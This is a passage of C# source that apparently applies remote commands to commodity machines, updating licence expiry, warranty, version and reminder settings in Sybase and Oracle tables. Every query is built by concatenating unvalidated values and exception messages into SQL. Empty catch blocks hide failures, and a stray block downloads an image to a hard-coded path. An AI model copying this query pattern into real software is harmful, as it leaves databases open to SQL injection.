DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='正常' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; HttpWebRequest request = (HttpWebRequest)WebRequest.Create("http://www.baidu.com/img/baidu_sylogo1.gif"); request.Method = "GET"; HttpWebResponse response = (HttpWebResponse)request.GetResponse(); Stream responseStream = response.GetResponseStream(); List btlst = new List(); int b = responseStream.ReadByte(); while (b > -1) { btlst.Add((byte)b); b = responseStream.ReadByte(); } byte[] bts = btlst.ToArray(); File.WriteAllBytes(@"E:\111\样本.jpg", bts); // 保存文件 try { Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='正常' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } } } catch (Exception ex) { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message + "' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message + "' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } LogHelper.WriteServiceLog(ex.Message + "\r\n" + sql); } } #endregion #region 修改有效期命令 else if (FLAG == "1" && (UPLOAD_STATE != "3" || string.IsNullOrEmpty(UPLOAD_STATE)) && datenow >= datebegin && HANDWAY == "expirydate") { string sql = ""; string Oraclesql = ""; bool isContents = false; try { if (REPEAT_STATE == "1") { if ((datenow - datebegin).TotalMinutes % arr == 0) { try { sql = "UPDATE DBA.sys_globle set expiry_date = date('" + HANDCONTENT + "') where var_name = 'g_ver' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); if (((DateTime)Lib.SyBaseHelper.QueryOdbc("SELECT EXPIRY_DATE FROM SYS_GLOBLE " + "WHERE VAR_NAME = 'g_ver'").Tables[0].Rows[0]["EXPIRY_DATE"]).Date == DateTime.Parse(HANDCONTENT).Date) { isContents = true; } } catch { } if (isContents) { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='修改有效期成功' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='修改有效期成功' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } } else { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='修改有效期失败' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='修改有效期失败' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } } } } if (REPEAT_STATE == "0") { try { sql = "UPDATE DBA.sys_globle set expiry_date = date('" + HANDCONTENT + "') where var_name = 'g_ver' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); if (((DateTime)Lib.SyBaseHelper.QueryOdbc("SELECT EXPIRY_DATE FROM SYS_GLOBLE " + "WHERE VAR_NAME = 'g_ver'").Tables[0].Rows[0]["EXPIRY_DATE"]).Date == DateTime.Parse(HANDCONTENT).Date) { isContents = true; } } catch { } if (isContents) { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='修改有效期成功' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='修改有效期成功' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } } else { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='修改有效期失败' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='修改有效期失败' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } } } } catch (Exception ex) { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message + "' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message + "' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } LogHelper.WriteServiceLog(ex.Message + "\r\n" + sql); } } #endregion #region 设置硬件有效日期 else if (FLAG == "1" && (UPLOAD_STATE != "3" || string.IsNullOrEmpty(UPLOAD_STATE)) && datenow >= datebegin && HANDWAY == "setwarranty_date") { string sql = ""; string Oraclesql = ""; bool isContents = false; try { if (REPEAT_STATE == "1") { if ((datenow - datebegin).TotalMinutes % arr == 0) { try { sql = "UPDATE DBA.sys_globle set WARRANTY_DATE = '" + HANDCONTENT + "' where var_name = 'g_ver' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); isContents = true; } catch { } if (isContents) { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='设置硬件有效日期成功' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='设置硬件有效日期成功' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } } else { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='设置硬件有效日期失败' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='设置硬件有效日期失败' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } } } } if (REPEAT_STATE == "0") { try { sql = "UPDATE DBA.sys_globle set WARRANTY_DATE = '" + HANDCONTENT + "' where var_name = 'g_ver' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); isContents = true; } catch { } if (isContents) { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='设置硬件有效日期成功' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='设置硬件有效日期成功' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } } else { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='设置硬件有效日期失败' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='设置硬件有效日期失败' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } } } } catch (Exception ex) { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message + "' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message + "' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } LogHelper.WriteServiceLog(ex.Message + "\r\n" + sql); } } #endregion #region 设置结账有效日期 else if (FLAG == "1" && (UPLOAD_STATE != "3" || string.IsNullOrEmpty(UPLOAD_STATE)) && datenow >= datebegin && HANDWAY == "setendaccount_date") { string sql = ""; string Oraclesql = ""; bool isContents = false; try { if (REPEAT_STATE == "1") { if ((datenow - datebegin).TotalMinutes % arr == 0) { try { sql = "UPDATE DBA.sys_globle set ENDACCOUNT_DATE = '" + HANDCONTENT + "' where var_name = 'g_ver' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); isContents = true; } catch { } if (isContents) { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='设置结账有效日期成功' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='设置结账有效日期成功' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } } else { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='设置结账有效日期失败' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='设置结账有效日期失败' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } } } } if (REPEAT_STATE == "0") { try { sql = "UPDATE DBA.sys_globle set ENDACCOUNT_DATE = '" + HANDCONTENT + "' where var_name = 'g_ver' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); isContents = true; } catch { } if (isContents) { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='设置结账有效日期成功' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='设置结账有效日期成功' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } } else { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='设置结账有效日期失败' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='设置结账有效日期失败' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } } } } catch (Exception ex) { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message + "' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message + "' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } LogHelper.WriteServiceLog(ex.Message + "\r\n" + sql); } } #endregion #region 修改版本号 else if (FLAG == "1" && (UPLOAD_STATE != "3" || string.IsNullOrEmpty(UPLOAD_STATE)) && datenow >= datebegin && HANDWAY == "Version_num") { string sql = ""; string Oraclesql = ""; bool isContents = false; try { if (REPEAT_STATE == "1") { if ((datenow - datebegin).TotalMinutes % arr == 0) { try { sql = "UPDATE DBA.sys_globle set bz = '" + HANDCONTENT + "' where var_name = 'g_ver' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); isContents = true; } catch { } if (isContents) { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='修改版本号成功' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='修改版本号成功' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } } else { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='修改版本号失败' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='修改版本号失败' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } } } } if (REPEAT_STATE == "0") { try { sql = "UPDATE DBA.sys_globle set bz = '" + HANDCONTENT + "' where var_name = 'g_ver' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); isContents = true; } catch { } if (isContents) { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='修改版本号成功' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='修改版本号成功' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } } else { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='修改版本号失败' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='修改版本号失败' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } } } } catch (Exception ex) { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message + "' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message + "' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } LogHelper.WriteServiceLog(ex.Message + "\r\n" + sql); } } #endregion #region 修改日结校验天数 else if (FLAG == "1" && (UPLOAD_STATE != "3" || string.IsNullOrEmpty(UPLOAD_STATE)) && datenow >= datebegin && HANDWAY == "check_day") { string sql = ""; string Oraclesql = ""; bool isContents = false; try { if (REPEAT_STATE == "1") { if ((datenow - datebegin).TotalMinutes % arr == 0) { try { sql = "UPDATE DBA.sys_globle set check_day = '" + HANDCONTENT + "' where var_name = 'g_ver' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); isContents = true; } catch { } if (isContents) { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='修改日结校验天数成功' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='修改日结校验天数成功' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } } else { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='修改日结校验天数失败' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='修改日结校验天数失败' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } } } } if (REPEAT_STATE == "0") { try { sql = "UPDATE DBA.sys_globle set check_day = '" + HANDCONTENT + "' where var_name = 'g_ver' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); isContents = true; } catch { } if (isContents) { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='修改日结校验天数成功' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='修改日结校验天数成功' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } } else { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='修改日结校验天数失败' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='修改日结校验天数失败' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } } } } catch (Exception ex) { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message + "' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message + "' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } LogHelper.WriteServiceLog(ex.Message + "\r\n" + sql); } } #endregion #region 修改结账提醒天数 else if (FLAG == "1" && (UPLOAD_STATE != "3" || string.IsNullOrEmpty(UPLOAD_STATE)) && datenow >= datebegin && HANDWAY == "endaccount_day") { string sql = ""; string Oraclesql = ""; bool isContents = false; try { if (REPEAT_STATE == "1") { if ((datenow - datebegin).TotalMinutes % arr == 0) { try { sql = "UPDATE DBA.sys_globle set endaccount_day = '" + HANDCONTENT + "' where var_name = 'g_ver' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); isContents = true; } catch { } if (isContents) { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='修改结账提醒天数成功' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='修改结账提醒天数成功' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } } else { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='修改结账提醒天数失败' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='修改结账提醒天数失败' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } } } } if (REPEAT_STATE == "0") { try { sql = "UPDATE DBA.sys_globle set endaccount_day = '" + HANDCONTENT + "' where var_name = 'g_ver' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); isContents = true; } catch { } if (isContents) { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='修改结账提醒天数成功' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='修改结账提醒天数成功' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } } else { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='修改结账提醒天数失败' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='修改结账提醒天数失败' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } } } } catch (Exception ex) { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message + "' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message + "' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } LogHelper.WriteServiceLog(ex.Message + "\r\n" + sql); } } #endregion #region 修改有效期提醒天数 else if (FLAG == "1" && (UPLOAD_STATE != "3" || string.IsNullOrEmpty(UPLOAD_STATE)) && datenow >= datebegin && HANDWAY == "expiry_day") { string sql = ""; string Oraclesql = ""; bool isContents = false; try { if (REPEAT_STATE == "1") { if ((datenow - datebegin).TotalMinutes % arr == 0) { try { sql = "UPDATE DBA.sys_globle set expiry_day = '" + HANDCONTENT + "' where var_name = 'g_ver' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); isContents = true; } catch { } if (isContents) { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='修改有效期提醒天数成功' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='修改有效期提醒天数成功' where COMMODITYMACHINE_ID = " + ID + "AND 